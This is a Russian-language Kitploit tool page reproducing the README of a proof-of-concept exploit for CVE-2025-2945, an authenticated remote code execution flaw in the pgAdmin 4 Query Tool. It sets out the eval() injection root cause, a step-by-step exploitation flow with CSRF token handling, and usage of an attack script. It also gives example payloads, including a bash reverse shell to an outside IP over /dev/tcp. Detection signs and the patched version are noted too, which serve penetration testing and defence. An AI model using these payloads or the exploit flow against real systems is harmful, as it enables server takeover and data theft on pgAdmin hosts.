Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-2945-pgadmin-rce — Авторизованное RCE в pgAdmin 4 (8.10–9.1) через инъекцию eval() в Инструменте запросов. Это обновлённый PoC с исправлениями совместимости для изменений аутентификации в pgAdmin 9.x. | Kitploit
Инструменты/GitHubGitHub/plur1bu5/cve-2025-2945-pgadmin-rce
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubplur1bu5/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgadmin-rce

Авторизованное RCE в pgAdmin 4 (8.10–9.1) через инъекцию eval() в Инструменте запросов. Это обновлённый PoC с исправлениями совместимости для изменений аутентификации в pgAdmin 9.x.

Репозиторий
5 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-2945 — Аутентифицированное RCE в Query Tool pgAdmin 4

Доказательство концепции для CVE-2025-2945, критической уязвимости удаленного выполнения кода в pgAdmin 4.

Затронутые версии: с 8.10 по 9.1
Исправлено в: 9.2 (выпущено 4 апреля 2025)
CVSS v3.1: 9.9 (Критический)


Обзор

Инструмент Query Tool pgAdmin 4 предоставляет конечную точку, которая принимает параметр query_commited и передает его напрямую встроенной функции eval() Python без какой-либо санитизации. Аутентифицированный злоумышленник может отправить произвольный код Python через этот параметр и выполнить его на стороне сервера от имени учетной записи службы pgAdmin.

Уязвимая конечная точка:

root@kitploit:~
POST /sqleditor/query_tool/download/<trans_id>

Поле query_commited в теле JSON вычисляется как код Python на сервере.


Технический анализ

Корневая причина

В версиях pgAdmin 4 до 9.2 обработчик загрузки инструмента запросов вызывает eval() для ввода, предоставленного пользователем:

root@kitploit:~
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))

Не применяется никакая проверка ввода, песочница или разрешение списков. Любое валидное выражение Python выполняется с привилегиями процесса pgAdmin.

Порядок эксплуатации

  1. Аутентификация — POST учетных данных на /authenticate/login, получение cookie сессии и CSRF-токена
  2. Инициализация sqleditor — POST на /sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> с учетными данными базы данных для установки сессии инструмента запросов
  3. Поиск ID сервера — GET на /sqleditor/get_server_connection/<sgid>/<sid> перебор ID, пока один не вернет data.status == true
  4. Запуск eval — POST на /sqleditor/query_tool/download/<trans_id> с {"query_commited": "<python payload>"}, получение ответа 500, подтверждающего выполнение

Обработка CSRF-токена (pgAdmin 9.x)

Старые версии pgAdmin встраивали CSRF-токен в скрытое поле <input> или cookie. Версия 9.x перешла на архитектуру React SPA, где токен встраивается как JSON в вызов window.renderSecurityPage() на странице /login:

root@kitploit:~
"csrfToken": "<token value>"

Токен привязан к сессии (Flask-WTF / itsdangerous), поэтому токен, полученный из начального GET /login, остается действительным на протяжении всей сессии и может быть повторно использован для всех последующих вызовов API.

Изменение конечной точки входа

pgAdmin 9.x разделил маршрут входа:

  • GET /login — отображает страницу входа (содержит CSRF-токен)
  • POST /authenticate/login — обрабатывает учетные данные

Старые PoC, которые отправляют POST напрямую на /login, получат ошибку 404 или 405 на экземплярах 9.x.


Требования

  • Python 3.7+
  • Действительные учетные данные pgAdmin (любой аутентифицированный пользователь)
  • Действительные учетные данные базы данных для сервера, зарегистрированного в pgAdmin
root@kitploit:~
pip install requests faker

Использование

root@kitploit:~
python3 poc.py \
  --rhost <target_host> \
  --username <pgadmin_email> \
  --password <pgadmin_password> \
  --db-user <db_username> \
  --db-pass <db_password> \
  --db-name <database_name> \
  --payload "<python_expression>"

Аргументы

АргументОписание
--rhostЦелевое имя хоста или IP (без схемы)
--rportЦелевой порт (по умолчанию: 80)
--usernameEmail для входа в pgAdmin
--passwordПароль для входа в pgAdmin
--db-userИмя пользователя PostgreSQL
--db-passПароль PostgreSQL
--db-nameИмя базы данных
--payloadВыражение Python для вычисления на сервере
--max-server-idМаксимальное количество ID серверов для проверки (по умолчанию: 10)

Примеры полезных нагрузок

Выполнение команды:

root@kitploit:~
--payload "__import__('os').system('id')"

Обратная оболочка:

root@kitploit:~
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"

Обнаружение

  • Неожиданные ответы HTTP 500 от /sqleditor/query_tool/download/
  • Процесс pgAdmin порождает дочерние процессы (shell, curl, wget)
  • Исходящие соединения с хоста pgAdmin на неизвестные IP

Смягчение

Обновитесь до pgAdmin 4 версии 9.2 или новее.


Ссылки

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2945
  • https://www.tenable.com/security/research/tra-2025-2945
  • https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http/pgadmin_query_tool_rce

Отказ от ответственности

Этот репозиторий предназначен только для образовательных целей и авторизованного тестирования. Не используйте против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.

Скачать инструмент